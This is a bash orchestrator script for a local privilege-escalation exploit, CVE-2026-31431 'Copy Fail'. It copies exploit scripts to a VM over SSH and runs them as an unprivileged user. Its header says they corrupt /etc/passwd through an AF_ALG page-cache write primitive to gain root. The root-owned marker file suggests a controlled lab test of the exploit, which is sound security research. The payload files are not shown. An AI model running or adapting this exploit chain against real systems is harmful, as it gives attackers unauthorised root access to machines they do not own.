#!/usr/bin/env bash
# CVE-2026-31431 "Copy Fail" — host-side orchestrator.
# Runs on the macOS control host. Stages the exploit onto the live VM as the
# unprivileged actor `lowpriv` and runs it. The exploit triggers the AF_ALG
# AEAD page-cache write primitive to corrupt /etc/passwd and obtain UID 0.
#
# Usage:
#   bash exploit/run.sh <key> <host> <ssh_user> <actor> <marker_dir> <marker_name>
set -euo pipefail

KEY="${1:?ssh private key path}"
HOST="${2:?vm public ip/host}"
SSH_USER="${3:?ssh login user (has passwordless sudo)}"
ACTOR="${4:?unprivileged actor username}"
MARKER_DIR="${5:?root-owned marker dir}"
MARKER_NAME="${6:?marker file name to create as root}"

HERE="$(cd "$(dirname "$0")" && pwd)"
SSH="ssh -i $KEY -o StrictHostKeyChecking=accept-new -o ConnectTimeout=20"
SCP="scp -i $KEY -o StrictHostKeyChecking=accept-new"

echo "[host] staging exploit scripts to $HOST as $ACTOR ..."
$SCP -q "$HERE/pagecache_write.py" "$HERE/passwd_patch.py" "$HERE/escalate.sh" \
    "$SSH_USER@$HOST:/tmp/"
$SSH "$SSH_USER@$HOST" "sudo -n install -o $ACTOR -g $ACTOR -m0755 /tmp/escalate.sh /home/$ACTOR/escalate.sh && \
    sudo -n install -o $ACTOR -g $ACTOR -m0644 /tmp/pagecache_write.py /home/$ACTOR/pagecache_write.py && \
    sudo -n install -o $ACTOR -g $ACTOR -m0644 /tmp/passwd_patch.py /home/$ACTOR/passwd_patch.py"

echo "[host] launching exploit AS unprivileged $ACTOR ..."
$SSH "$SSH_USER@$HOST" \
    "sudo -n -u $ACTOR -- bash /home/$ACTOR/escalate.sh '$ACTOR' '$MARKER_DIR' '$MARKER_NAME'"

echo "[host] exploit finished."
